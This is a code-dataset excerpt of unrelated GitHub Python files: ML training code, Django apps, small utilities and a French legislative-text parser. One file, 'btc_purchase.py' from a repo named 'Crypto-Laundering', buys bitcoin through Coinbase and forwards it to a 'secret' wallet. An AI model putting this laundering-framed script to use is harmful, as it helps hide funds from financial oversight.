self.delta_t:\n # Append time delta\n prev_out = torch.cat([prev_out, x[:, i, -1:]], dim=-1)\n h = self.gru(prev_out, h)\n else:\n h = self.gru(x[:, i, :], h)\n\n h_arr[:, i, :] = h\n\n return self.out(h_arr)\n\n @staticmethod\n def generate_delta(tp):\n tp_start = torch.Tensor([0] * tp.size(0)).unsqueeze(1).float()\n tp_start = tp_start.to(tp.device)\n offset = torch.cat((tp_start, tp), dim=1)[:, :-1]\n delta = tp - offset\n return delta.unsqueeze(-1)\n\n\nclass EncoderGRUODE(EncoderAR):\n def __init__(self, latent_dim, rec_gru, rec_node, rec_output):\n super().__init__()\n\n self.gru = rec_gru\n self.node = rec_node\n self.out = rec_output\n self.latent_dim = latent_dim\n\n def _forward_impl(self, x, tp, lens, samp_ind, samp_prob):\n seq_len = max(lens)\n\n h = torch.zeros(x.size(0), self.latent_dim).to(x.device)\n h_arr = torch.zeros(x.size(0), seq_len, h.size(1)).to(x.device)\n\n tp = self.get_longest_tp(tp, lens)\n tp = torch.cat(((tp[0] - 0.01).unsqueeze(0), tp))\n\n for i in range(seq_len):\n h_ode = odeint(self.node, h, tp[i:i + 2])[1]\n if i not in samp_ind and np.random.uniform(0, 1) >= samp_prob:\n prev_out = self.out(h.unsqueeze(1)).view(x.size(0), -1)\n h = self.gru(prev_out, h_ode)\n else:\n h = self.gru(x[:, i, :], h_ode)\n h_arr[:, i, :] = h\n\n return self.out(h_arr)\n","repo_name":"IanShi1996/LatentSegmentedODE","sub_path":"baseline_models.py","file_name":"baseline_models.py","file_ext":"py","file_size_in_byte":9052,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"31224498113","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Aug 3 12:32:17 2020\n\n@author: hamishgibbs\n\"\"\"\n\nimport pandas as pd\nfrom pyquadkey2 import quadkey\nfrom shapely.geometry import Polygon\n\ndef preprocess_population(fn):\n df = pd.read_csv(fn)\n df['quadkey'] = df['quadkey'].apply(lambda x: '{0:0>13}'.format(x)) \n df['n_crisis'] = pd.to_numeric(df['n_crisis'], errors = 'coerce')\n df['n_baseline'] = pd.to_numeric(df['n_baseline'], errors = 'coerce')\n \n return(df) \n\ndef tile_polygon(qk):\n \n qk = quadkey.QuadKey(str(qk))\n \n a1 = qk.to_geo(anchor = 1)\n a2 = qk.to_geo(anchor = 2)\n a3 = qk.to_geo(anchor = 3)\n a4 = qk.to_geo(anchor = 5) \n \n bottom_l = [a1[1], a1[0]]\n bottom_r = [a4[1], a4[0]]\n top_l = [a3[1], a3[0]]\n top_r = [a2[1], a2[0]]\n \n return(Polygon([bottom_l, bottom_r, top_r, top_l]))\n\n\ndef tile_centroid(qk):\n \n p = tile_polygon(qk).centroid\n \n return(p)","repo_name":"hamishgibbs/facebook_mobility_uk","sub_path":"src/data/TilePopulation/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":958,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"158944423","text":"def avg(arr):\n sum=0\n for i in range(len(arr)):\n sum+=arr[i]\n ans=sum/len(arr)\n return ans\ndef highlow(arr):\n min=arr[0]\n max=0\n for i in range(len(arr)):\n if(min>arr[i]):\n min=arr[i]\n if(max= delta).sum().item(), au_var\n\ndef visualize_latent(args, vae, device, test_data):\n f = open('yelp_embeddings_z','w')\n g = open('yelp_embeddings_labels','w')\n\n test_data_batch, test_label_batch = test_data.create_data_batch_labels(batch_size=args.batch_size, device=device, batch_first=True)\n for i in range(len(test_data_batch)):\n batch_data = test_data_batch[i]\n batch_label = test_label_batch[i]\n batch_size, sent_len = batch_data.size()\n means, _ = vae.encoder.forward(batch_data)\n for i in range(batch_size):\n mean = means[i,:].cpu().detach().numpy().tolist()\n for val in mean:\n f.write(str(val)+'\\t')\n f.write('\\n')\n for label in batch_label:\n g.write(label+'\\n')\n # fo\n print(mean.size())\n print(logvar.size())\n # fooo\n\ndef divider():\n print(\"----------------------------------------------\")\n\n\n###############################################\n# MAIN TRAINING LOOP #\n###############################################\n\ndef main(args):\n divider()\n print(\"Using args:\")\n print(args)\n divider()\n\n # select device and signal if using cuda or no\n device = torch.device(\"cuda\" if args.cuda else \"cpu\")\n args.device = device\n if args.cuda:\n print('Using cuda')\n \n # prepare dataset, splits, and vocab\n data, vocab = create_corpus(args)\n args.vocab_size = len(vocab)\n train_data, val_data, test_data = data\n \n # create model\n vae = create_model(args, vocab)\n divider()\n print(\"Model:\")\n print(vae)\n divider()\n \n if args.eval:\n print('begin evaluation')\n vae.load_state_dict(torch.load(args.load_path))\n vae.eval()\n with torch.no_grad():\n test_data_batch = test_data.create_data_batch(batch_size=args.batch_size,\n device=device,\n batch_first=True)\n\n test(vae, test_data_batch, \"TEST\", args)\n au, au_var = calc_au(vae, test_data_batch)\n print(\"%d active units\" % au)\n # print(au_var)\n\n test_data_batch = test_data.create_data_batch(batch_size=1,\n device=device,\n batch_first=True)\n calc_iwnll(vae, test_data_batch, args)\n\n return\n\n # miscellaneous initializations\n log_niter = (len(train_data)//args.batch_size)//10\n opt_dict = {\"not_improved\": 0, \"lr\": 1., \"best_loss\": 1e4}\n enc_optimizer = optim.SGD(vae.encoder.parameters(), lr=1.0, momentum=args.momentum)\n dec_optimizer = optim.SGD(vae.decoder.parameters(), lr=1.0, momentum=args.momentum)\n opt_dict['lr'] = 1.0\n iter_ = decay_cnt = 0\n best_loss = 1e4\n best_kl = best_nll = best_ppl = 0\n pre_mi = 0\n aggressive_flag = True if args.aggressive else False\n vae.train()\n start = time.time()\n kl_weight = args.kl_start\n anneal_rate = (1.0 - args.kl_start) / (args.warm_up * (len(train_data) / args.batch_size))\n\n # put data in batches\n train_data_batch = train_data.create_data_batch(batch_size=args.batch_size,\n device=device,\n batch_first=True)\n\n val_data_batch = val_data.create_data_batch(batch_size=args.batch_size,\n device=device,\n batch_first=True)\n\n test_data_batch = test_data.create_data_batch(batch_size=args.batch_size,\n device=device,\n batch_first=True)\n \n # begin the training loop\n print(\"Beginning training ...\")\n for epoch in range(args.epochs):\n print(\"Epoch %d:\" % epoch)\n report_kl_loss = report_rec_loss = 0\n report_num_words = report_num_sents = 0\n for i in np.random.permutation(len(train_data_batch)):\n batch_data = train_data_batch[i]\n batch_size, sent_len = batch_data.size()\n\n # not predict start symbol\n report_num_words += (sent_len - 1) * batch_size\n\n report_num_sents += batch_size\n\n # kl_weight = 1.0\n kl_weight = min(1.0, kl_weight + anneal_rate)\n\n sub_iter = 1\n batch_data_enc = batch_data\n burn_num_words = 0\n burn_pre_loss = 1e4\n burn_cur_loss = 0\n while aggressive_flag and sub_iter < 100:\n\n enc_optimizer.zero_grad()\n dec_optimizer.zero_grad()\n\n burn_batch_size, burn_sents_len = batch_data_enc.size()\n burn_num_words += (burn_sents_len - 1) * burn_batch_size\n\n loss, loss_rc, loss_kl = vae.loss(batch_data_enc, kl_weight, nsamples=args.nsamples)\n\n burn_cur_loss += loss.sum().item()\n loss = loss.mean(dim=-1)\n\n loss.backward()\n torch.nn.utils.clip_grad_norm_(vae.parameters(), clip_grad)\n\n enc_optimizer.step()\n\n id_ = np.random.random_integers(0, len(train_data_batch) - 1)\n\n batch_data_enc = train_data_batch[id_]\n\n # every 15 iterations, check if the \n if sub_iter % 15 == 0:\n burn_cur_loss = burn_cur_loss / burn_num_words\n if burn_pre_loss - burn_cur_loss < 0:\n break\n burn_pre_loss = burn_cur_loss\n burn_cur_loss = burn_num_words = 0\n\n sub_iter += 1\n\n # if sub_iter >= 30:\n # break\n\n # print(sub_iter)\n\n enc_optimizer.zero_grad()\n dec_optimizer.zero_grad()\n\n\n loss, loss_rc, loss_kl = vae.loss(batch_data, kl_weight, nsamples=args.nsamples)\n\n loss = loss.mean(dim=-1)\n\n loss.backward()\n torch.nn.utils.clip_grad_norm_(vae.parameters(), clip_grad)\n\n loss_rc = loss_rc.sum()\n loss_kl = loss_kl.sum()\n\n if not aggressive_flag:\n enc_optimizer.step()\n\n dec_optimizer.step()\n\n report_rec_loss += loss_rc.item()\n report_kl_loss += loss_kl.item()\n\n if iter_ % log_niter == 0:\n train_loss = (report_rec_loss + report_kl_loss) / report_num_sents\n if aggressive_flag or epoch == 0:\n vae.eval()\n with torch.no_grad():\n mi = calc_mi(vae, val_data_batch)\n au, _ = calc_au(vae, val_data_batch)\n vae.train()\n\n print('epoch: %d, iter: %d, avg_loss: %.4f, kl: %.4f, mi: %.4f, recon: %.4f,' \\\n ' au %d, time elapsed %.2fs' %\n (epoch, iter_, train_loss, report_kl_loss / report_num_sents, mi,\n report_rec_loss / report_num_sents, au, time.time() - start))\n else:\n print('epoch: %d, iter: %d, avg_loss: %.4f, kl: %.4f, recon: %.4f,' \\\n 'time elapsed %.2fs' %\n (epoch, iter_, train_loss, report_kl_loss / report_num_sents,\n report_rec_loss / report_num_sents, time.time() - start))\n\n sys.stdout.flush()\n\n report_rec_loss = report_kl_loss = 0\n report_num_words = report_num_sents = 0\n\n iter_ += 1\n\n if aggressive_flag and (iter_ % len(train_data_batch)) == 0:\n vae.eval()\n cur_mi = calc_mi(vae, val_data_batch)\n vae.train()\n print(\"pre mi:%.4f. cur mi:%.4f\" % (pre_mi, cur_mi))\n if cur_mi - pre_mi < 0:\n aggressive_flag = False\n print(\"STOP BURNING\")\n\n pre_mi = cur_mi\n\n print('kl weight %.4f' % kl_weight)\n\n vae.eval()\n with torch.no_grad():\n loss, nll, kl, ppl, mi = test(vae, val_data_batch, \"VAL\", args)\n au, au_var = calc_au(vae, val_data_batch)\n print(\"%d active units\" % au)\n # print(au_var)\n\n if loss < best_loss:\n print('update best loss')\n best_loss = loss\n best_nll = nll\n best_kl = kl\n best_ppl = ppl\n torch.save(vae.state_dict(), args.save_path)\n\n if loss > opt_dict[\"best_loss\"]:\n opt_dict[\"not_improved\"] += 1\n if opt_dict[\"not_improved\"] >= decay_epoch and epoch >=15:\n opt_dict[\"best_loss\"] = loss\n opt_dict[\"not_improved\"] = 0\n opt_dict[\"lr\"] = opt_dict[\"lr\"] * lr_decay\n vae.load_state_dict(torch.load(args.save_path))\n print('new lr: %f' % opt_dict[\"lr\"])\n decay_cnt += 1\n enc_optimizer = optim.SGD(vae.encoder.parameters(), lr=opt_dict[\"lr\"], momentum=args.momentum)\n dec_optimizer = optim.SGD(vae.decoder.parameters(), lr=opt_dict[\"lr\"], momentum=args.momentum)\n \n else:\n opt_dict[\"not_improved\"] = 0\n opt_dict[\"best_loss\"] = loss\n\n if decay_cnt == max_decay:\n break\n\n if epoch % args.test_nepoch == 0:\n with torch.no_grad():\n loss, nll, kl, ppl, _ = test(vae, test_data_batch, \"TEST\", args)\n\n if epoch % args.sample_every == 0:\n print(\"Generating samples for epoch #{} ...\".format(epoch + 1))\n test_generation(vae, vocab, args, epoch)\n print(\"... sample generation successful\")\n \n vae.train()\n\n # compute importance weighted estimate of log p(x)\n vae.load_state_dict(torch.load(args.save_path))\n\n vae.eval()\n with torch.no_grad():\n loss, nll, kl, ppl, _ = test(vae, test_data_batch, \"TEST\", args)\n au, au_var = calc_au(vae, test_data_batch)\n print(\"%d active units\" % au)\n # print(au_var)\n\n test_data_batch = test_data.create_data_batch(batch_size=1,\n device=device,\n batch_first=True)\n with torch.no_grad():\n calc_iwnll(vae, test_data_batch, args)\n\nif __name__ == '__main__':\n args = init_config()\n main(args)\n","repo_name":"sbarham/lv-nlm-he-2019","sub_path":".ipynb_checkpoints/text-checkpoint.py","file_name":"text-checkpoint.py","file_ext":"py","file_size_in_byte":17434,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"32605931552","text":"strongTo = {\n 'normal' : ['ghost*'],\n 'fire' : ['steel', 'fire', 'grass', 'ice', 'bug', 'fairy'],\n 'water' : ['fire', 'water', 'ice', 'steel'],\n 'grass' : ['water', 'grass', 'electric', 'ground'],\n 'electric' : ['electric', 'flying', 'steel'],\n 'flying' : ['ground*', 'grass', 'fighting', 'bug'],\n 'ground' : ['electric*', 'rock', 'poison'],\n 'rock' : ['poison', 'normal', 'fire', 'flying'],\n 'fighting' : ['dark', 'rock', 'bug'],\n 'ice' : ['ice'],\n 'poison' : ['poison', 'bug', 'fairy', 'fighting', 'grass'],\n 'bug' : ['fighting', 'grass', 'ground'],\n 'ghost' : ['normal*', 'fighting*', 'poison', 'bug'],\n 'psychic' : ['psychic', 'fighting'],\n 'dragon' : ['electric', 'fire', 'water', 'grass'],\n 'dark' : ['psychic*', 'dark', 'ghost'],\n 'fairy' : ['dragon*', 'dark', 'fighting', 'bug'],\n 'steel' : ['ice', 'normal', 'grass', 'flying', 'rock', 'poison*', 'psychic', 'dragon', 'fairy', 'steel', 'bug']\n}\n\nweakTo = {\n 'normal' : ['fighting'],\n 'fire' : ['water', 'ground', 'rock'],\n 'water' : ['grass', 'electric'],\n 'grass' : ['fire', 'flying', 'ice', 'poison', 'bug'],\n 'electric' : ['ground'],\n 'flying' : ['electric', 'rock', 'ice'],\n 'ground' : ['water', 'grass', 'ice'],\n 'rock' : ['water', 'grass', 'ground', 'fighting', 'steel'],\n 'fighting' : ['flying', 'psychic', 'fairy'],\n 'ice' : ['fire', 'rock', 'fighting', 'steel'],\n 'poison' : ['ground', 'psychic'],\n 'bug' : ['fire', 'flying', 'rock'],\n 'ghost' : ['ghost', 'dark'],\n 'psychic' : ['bug', 'ghost', 'dark'],\n 'dragon' : ['ice', 'dragon', 'fairy'],\n 'dark' : ['fighting', 'bug', 'fairy'],\n 'fairy' : ['poison', 'steel'],\n 'steel' : ['fire', 'ground', 'fighting']\n}\n\ndef getWeakness(t):\n if t in weakTo.keys():\n return weakTo[t]\n else:\n return []\n\ndef getStrength(t):\n if t in strongTo.keys():\n return strongTo[t]\n else:\n return []\n\ndef main():\n t = input('enter type: ')\n while t:\n print('\\nWeak to:')\n for x in getWeakness(t):\n print(' -', x)\n print('\\n* indicates immunity')\n print('Resistant to:')\n for x in getStrength(t):\n print(' +', x)\n t = input('\\nenter type: ')\n\nif __name__=='__main__':\n main()","repo_name":"devmart10/dev","sub_path":"python/pokemon/types.py","file_name":"types.py","file_ext":"py","file_size_in_byte":2426,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"42472181835","text":"def Valida_Palavra_Desafiador(vDesafiado):\n verPalavra = ''\n vMsg = ''\n while True:\n print('Ao digitar uma palavra composta, irá ser subtituído o ESPAÇO por HÍFEN')\n verPalavra = input(f'Escolha a palavra que deseja que o jogador {vDesafiado} advinhe.\\n')\n if len(verPalavra) <= 1:\n print(f'A palavra deve conter mais que \"UMA\" letra')\n else:\n verPalavra = Ajusta_Palavra_Composta(verPalavra)\n if Validate_Palavra(verPalavra, 'S'):\n break\n return verPalavra\n\ndef Validate_Palavra(Palavra = str, Mostra_Msg = 'N', Valida_Hifen = 'N'):\n condicao = '()*&¨%$#@!¹²³£¢¬:><.,^~][´`_=+/?|\\ }{ùúàáãõóòìíçÙÚÀÁÃÕÓÒÌÍÇ123456789' if Valida_Hifen == 'N' else '()*&¨%$#@!¹²³£¢¬:><.,^~][´`_=+/?|\\ }{ùúàáãõóòìíçÙÚÀÁÃÕÓÒÌÍÇ123456789-'\n\n if Palavra in condicao:\n if Mostra_Msg == 'S':\n if Valida_Hifen == 'N':\n print('Por favor informe apenas letras! Único caracter além das letras que é permitido é o HÍFEN', 'S')\n else:\n print('Por favor informe apenas letras!', 'S')\n return False\n else:\n return True\n\ndef Ajusta_Palavra_Composta(Palavra):\n verPalavra = ''\n verPalavra = Palavra\n return verPalavra.replace(' ', '-')","repo_name":"lucasdeazandona/Jogo_Da_Forca","sub_path":"ValidaPalavra/ValidacaoPalavras.py","file_name":"ValidacaoPalavras.py","file_ext":"py","file_size_in_byte":1347,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"17518351014","text":"from django.conf import settings\nfrom django.db import models\n\n\n# Create your models here.\nclass Car(models.Model):\n objects = None\n\n title = models.CharField(max_length=100, verbose_name='название') # Поле для названия (максимум 100 символов)\n description = models.TextField(verbose_name='описание') # Поле для описания (текстовое поле)\n owner = models.ForeignKey(settings.AUTH_USER_MODEL, on_delete=models.CASCADE, null=True, blank=True)\n amount = models.IntegerField(default=1000, verbose_name=\"Цена\")\n\n def __str__(self):\n return self.title\n\n class Meta:\n verbose_name = 'Машина'\n verbose_name_plural = 'Машины'\n\n\nclass Moto(models.Model):\n objects = None\n\n title = models.CharField(max_length=100, verbose_name='название') # Поле для названия (максимум 100 символов)\n description = models.TextField(verbose_name='описание') # Поле для описания (текстовое поле)\n owner = models.ForeignKey(settings.AUTH_USER_MODEL, on_delete=models.CASCADE, null=True, blank=True)\n\n\n def __str__(self):\n return self.title\n\n class Meta:\n verbose_name = 'Мотоцикл'\n verbose_name_plural = 'Мотоциклы'\n\n\nclass Milage(models.Model):\n objects = None\n car = models.ForeignKey(Car, on_delete=models.CASCADE, null=True, blank=True, related_name='milage')\n moto = models.ForeignKey(Moto, on_delete=models.CASCADE, null=True, blank=True, related_name='milage')\n\n milage = models.PositiveIntegerField(verbose_name='Пробег')\n year = models.PositiveSmallIntegerField(verbose_name='Год регистрации')\n\n def __str__(self):\n return f'{self.moto if self.moto else self.car} - {self.year}'\n\n class Meta:\n verbose_name = 'Пробег'\n verbose_name_plural = 'Пробег'\n ordering = ('-year',)\n","repo_name":"Lekantrop74/Sky_Pro_Lesson_24_26","sub_path":"vehicle/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2000,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"74363629492","text":"#!/usr/bin/env python3\n\nfrom ctypes import c_int, pointer, byref\nfrom ctypes import CDLL, POINTER\nfrom time import sleep\n\nCONFIG_ENABLE_MANUAL_MODE = False\n\nnum = c_int(-1)\npnum = pointer(num)\n\nf = CDLL(\"./bgtask.so\").bgtask\nf.argtypes = [POINTER(c_int),]\nf(byref(num))\n\nprint(\"please press the key with a consistent interval repeatedly\")\nprev = 0\nfirstdot = True\nwhile True:\n if CONFIG_ENABLE_MANUAL_MODE:\n input()\n else:\n sleep(0.3)\n print()\n cur = num.value\n if prev == cur:\n if firstdot: print()\n print(\" .\", end=\"\")\n firstdot = False\n else:\n if firstdot: print()\n print(\"%4dms\" % cur, end=\"\")\n firstdot = True\n prev = cur\n\n","repo_name":"Un1Gfn/jangaehwepi","sub_path":"ex4_py_byref_pthread/bgtask.py","file_name":"bgtask.py","file_ext":"py","file_size_in_byte":719,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"31427563519","text":"from model import *\n\n\ndef printDay(elem):\n print(\"id: \" + str(elem[\"id\"]) + \" Date:\" + elem['date'] + \" t = \" + str(elem['temperature']) + \" in the yard is\" + elem['weather'])\n\n\nwhile True:\n x = 0\n while x < 1 or x > 4:\n print(\"---weather forecast---\")\n print(\"1) get all the data from the diary\")\n print(\"2) get by id\")\n print(\"3) add new day\")\n print(\"4) delete some day\")\n x = int(input())\n if x < 1 or x > 4:\n print(\"enter 1, 2, 3 or 4\")\n if x == 1:\n days = getAll()\n for day in days:\n printDay(day)\n r = input(\"press x to exit or any key to go back \")\n if r == \"x\":\n break\n else:\n if x == 2:\n id = int(input(\"Enter id\"))\n printDay(getById(id))\n r = input(\"press x to exit or any key to go back \")\n if r == \"x\":\n break\n else:\n if x == 3:\n id = int(input(\"Enter id \"))\n t = int(input(\"Enter temperature \"))\n w = input(\"Enter weather type \")\n if add(id, t, w):\n print(\"Added\")\n else:\n print(\"not added\")\n r = input(\"press x to exit or any key to go back \")\n if r == \"x\":\n break\n else:\n if x == 4:\n id = int(input(\"Enter id \"))\n if getById(id):\n print(\"Deleted element:\")\n printDay(delById(id))\n else:\n print(\"Error\")\n r = input(\"press x to exit or any key to go back \")\n if r == \"x\":\n break\n","repo_name":"annaprok/Weather-Diary","sub_path":"controller.py","file_name":"controller.py","file_ext":"py","file_size_in_byte":1777,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"22527424229","text":"# btc_purchase.py\n# purchase Bitcoin using coinbase API\n#\n# HingOn Miu\n\n# https://developers.coinbase.com/api/v2\n# https://github.com/coinbase/coinbase-python\n\nimport io\nimport pycurl\nimport random\nimport string\nimport json\nimport time\nfrom coinbase.wallet.client import Client\n\n\n# your secret blockchain.info wallet (see secret_wallet.py)\nbitcoin_address_of_secret_wallet = \"\"\n\n# USD amount to send to final target eg. \"5000\"\nusd_amount = \"\"\n\n# register coinbase account and enable API keys\n# https://developers.coinbase.com/docs/wallet/api-key-authentication\ncoinbase_api_key = \"\"\ncoinbase_api_secret = \"\"\n\n\n\n# create coinbase client with your credentials\nclient = Client(coinbase_api_key, coinbase_api_secret)\n\n\n# fetch default account ID from your coinbase account\nprint(term.format(\"Fetch Account Info\\n\", term.Attr.BOLD))\naccounts_response = client.get_accounts()\nprint(term.format(accounts_response, term.Color.BLUE))\naccount_id = json.loads(accounts_response)[\"data\"][0][\"id\"]\n\n\n# check real time bitcoin price (total USD to buy one bitcoin)\nprint(term.format(\"Check Bitcoin Price\\n\", term.Attr.BOLD))\nbitcoin_price_response = client.get_buy_price(currency_pair = 'BTC-USD')\nprint(term.format(bitcoin_price_response, term.Color.BLUE))\nbitcoin_price = float(json.loads(bitcoin_price_response)[\"data\"][\"amount\"])\n\n\n# convert USD amount to bitcoin\nbitcoin_amount = str(usd_amount / bitcoin_price)\n\n\n# fetch default payment method ID from your coinbase account\nprint(term.format(\"Fetch Payment Method\\n\", term.Attr.BOLD))\npayment_methods_response = client.get_payment_methods()\nprint(term.format(payment_methods_response, term.Color.BLUE))\npayment_method_id = json.loads(payment_methods_response)[\"data\"][0][\"id\"]\n\n\n# buy bitcoin and commit order immediately\nprint(term.format(\"Purchase Bitcoin\\n\", term.Attr.BOLD))\nbuy_response = client.buy(account_id, amount=bitcoin_amount, currency=\"BTC\",\n commit= True, payment_method=payment_method_id)\nprint(term.format(buy_response, term.Color.BLUE))\n\n\n# verify purchase time\nbuy_time = json.loads(buy_response)[\"data\"][\"payout_at\"]\nprint(term.format(\"Purchased Bitcoin at \" + buy_time + \"\\n\", term.Attr.BOLD))\n\n\n# send purchased bitcoin to your secret blockchain.info wallet (see secret_wallet.py)\nprint(term.format(\"Transfer Bitcoin to Secret Wallet\\n\", term.Attr.BOLD))\ntransaction_response = client.send_money(account_id, to=bitcoin_address_of_secret_wallet, \n amount=bitcoin_amount, currency='BTC')\nprint(term.format(transaction_response, term.Color.BLUE))\ntransaction_id = json.loads(transaction_response)[\"data\"][\"id\"]\ntransaction_status = json.loads(transaction_response)[\"data\"][\"status\"]\n\n\n# keep checking until transaction is completed\nprint(term.format(\"Check Transaction Status\\n\", term.Attr.BOLD))\nwhile transaction_status != \"completed\":\n # check status every 5 seconds\n time.sleep(5)\n transaction_response = client.get_transaction(account_id, transaction_id)\n transaction_status = json.loads(transaction_response)[\"data\"][\"status\"]\n print(term.format(transaction_status + \"\\n\", term.Attr.BOLD))\n\n\n# alert transaction is completed\nprint(term.format(\"Bitcoin Transaction Completed\\n\", term.Attr.BOLD))\n\n\n\n\n","repo_name":"miuho/Crypto-Laundering","sub_path":"btc_purchase.py","file_name":"btc_purchase.py","file_ext":"py","file_size_in_byte":3235,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"20585531967","text":"from django.conf.urls import patterns, include, url\nfrom django.contrib.gis import admin\nimport settings\n\nfrom django.contrib.sitemaps.views import sitemap\nfrom django.contrib.sitemaps import FlatPageSitemap, GenericSitemap\nfrom apps.core.models import Recorrido, Linea, Parada\nfrom apps.catastro.models import Poi\n\n# Uncomment the next two lines to enable the admin:\nadmin.autodiscover()\n\nsitemaps = {\n 'flatpages': FlatPageSitemap,\n 'lineas': GenericSitemap({\n 'queryset': Linea.objects.all(),\n }, priority=0.6),\n 'recorridos': GenericSitemap({\n 'queryset': Recorrido.objects.all(),\n }, priority=0.6),\n 'pois': GenericSitemap({\n 'queryset': Poi.objects.all(),\n }, priority=0.6),\n 'paradas': GenericSitemap({\n 'queryset': Parada.objects.all(),\n }, priority=0.4),\n}\n\nurlpatterns = patterns('',\n # Archivos estaticos\n (r'^media/(?P.*)$', 'django.views.static.serve', {'document_root': settings.MEDIA_ROOT}),\n\n # APPS de CualBondi\n url(r'^api/v2/', include('apps.api2.urls')),\n url(r'^api/v1/', include('apps.api.urls')),\n url(r'^api/', include('apps.api.urls')),\n url(r'^admin/', include(admin.site.urls)),\n url('', include('social.apps.django_app.urls', namespace='social')),\n url(r'^usuarios/', include('apps.usuarios.urls')),\n url(r'^widget/', include('apps.widget.urls')),\n url(r'^mobile_updates/', include('apps.mobile_updates.urls')),\n url(r'^editor/', include('apps.editor.urls')),\n url(r'^revision/(?P\\d+)/$', 'apps.editor.views.revision', name='revision_externa'),\n\n url(r'^como-llegar/', include('apps.catastro.urls')),\n \n url(r'^contacto/', 'apps.core.views.contacto', name='contacto'),\n \n # Ranking aka agradecimientos\n url(r'^agradecimientos/$', 'apps.core.views.agradecimientos', name='agradecimientos'),\n\n url(r'^sitemap\\.xml$', sitemap, {'sitemaps': sitemaps}, name='django.contrib.sitemaps.views.sitemap'),\n\n url(r'^', include('apps.core.urls')),\n)\n","repo_name":"cualbondi/old-web","sub_path":"urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2022,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"21"} +{"seq_id":"71484922293","text":"#!/usr/bin/env python\nimport numpy as np\nimport matplotlib.pyplot as plt\nfile=\"../burgers_run.bin\"\nnx=1000\nN=101\nXs=np.fromfile(file, dtype=\"double\", count=-1).reshape(N,nx)\n\n#print(Xs)\nplot_dt=10\n\nxcoord=np.arange(0,nx)\nfor i in range(0,N,plot_dt):\n print(i)\n plt.figure()\n plt.plot(xcoord, Xs[i][:], '-o')\n\n\n\n","repo_name":"shensimeteor/IndepdentStudy_SLAM","sub_path":"Burgers/scripts/plot_burgers.py","file_name":"plot_burgers.py","file_ext":"py","file_size_in_byte":320,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"5271843566","text":"import logging\nimport re\nfrom typing import Any, Dict, Iterable, List, Tuple\n\nfrom bs4 import BeautifulSoup\n\nfrom zam_repondeur.exceptions.alert import AlertOnData\nfrom zam_repondeur.models import Lecture, Phase, Texte\nfrom zam_repondeur.services.clean import clean_all_html, clean_html_except_tables\n\nfrom .parseur import Parseur\n\nlogger = logging.getLogger(__name__)\n\nSUFFIXE_URL = {\n # ( partie, phase ) : SUFFIXE\n (1, Phase.PREMIERE_LECTURE): \"A\",\n (1, Phase.DEUXIEME_LECTURE): \"B\",\n (2, Phase.PREMIERE_LECTURE): \"C\",\n (2, Phase.DEUXIEME_LECTURE): \"D\",\n (None, Phase.NOUVELLE_LECTURE): \"\",\n (None, Phase.LECTURE_DEFINITIVE): \"\",\n}\n\nSTOP_TAGS = [\"h1\", \"h2\", \"h3\", \"h4\", \"h5\"]\n\n\nclass ParseurPLF(Parseur):\n \"\"\"\n Parser to handle Projet de loi de finance\n \"\"\"\n\n def __init__(self, lecture: Lecture):\n self.suffixe = SUFFIXE_URL[(lecture.partie, lecture.phase)]\n super().__init__(lecture)\n if not self.suffixe:\n self.parseur_type = \"DEFAULT\"\n else:\n self.parseur_type = \"PLF\"\n\n def get_texte_url(self, lecture: Lecture) -> str:\n \"\"\"\n Infos de l'AN pour la construction d'urls:\n La règle concernant le nommage des PLF est la suivante :\n A : 1ere partie, 1ere délibération\n B : 1ere partie, 2e délibération\n C : 2e partie, 1ere délibération\n D : 2e partie, 2e délibération\n \"\"\"\n self.lecture = lecture\n texte: Texte = lecture.texte\n prefix = f\"{self.an_url}{texte.legislature}\"\n numero = f\"{texte.numero:04}\"\n url = f\"{prefix}/textes/{numero}{self.suffixe}.asp\"\n return url\n\n def get_num_article(self, article: BeautifulSoup) -> str:\n\n words = re.compile(r\"\\W+\")\n article_title_raw = clean_all_html(f\"{article}\").replace(\"\\n\", \"\")\n matched_list = words.split(article_title_raw)\n if not matched_list[0] == \"Article\":\n raise AlertOnData(\n f\"Numéro d'article non récupérable {matched_list}\", \"data\", 3\n )\n clean_num = \"\"\n num = re.compile(r\"\\d+\")\n for index, value in enumerate(matched_list[1:]):\n match = num.match(value)\n if not match and index > 0:\n clean_num += \" \"\n clean_num += value\n return clean_num\n\n def clean_pastille_content(self, pastille: BeautifulSoup) -> str:\n if \"\" in f\"{pastille}\":\n content_raw = clean_html_except_tables(f\"{pastille}\").replace(\"\\n\", \"\")\n else:\n content_raw = clean_all_html(f\"{pastille}\").replace(\"\\n\", \"\")\n return re.sub(\" {2,}\", \" \", content_raw).strip()\n\n def is_new_pastille(self, pastille_raw: str) -> bool:\n p = re.compile(r\"\\(\\d+\\)\")\n m = p.match(pastille_raw)\n if m:\n return True\n return False\n\n def is_next_article(self, element: BeautifulSoup) -> bool:\n if \"attrs\" in element.__dict__.keys():\n if \"class\" in element.attrs.keys():\n return \"aFPFTprojetitrarticle\" in element[\"class\"]\n return False\n\n def is_next_titre(self, element: BeautifulSoup) -> bool:\n if \"attrs\" in element.__dict__.keys():\n if \"class\" in element.attrs.keys():\n return (\n \"titre\" in element[\"class\"][0] and \"projet\" in element[\"class\"][0]\n )\n return False\n\n def is_condition_arret(self, element: BeautifulSoup) -> bool:\n if element.name in STOP_TAGS:\n 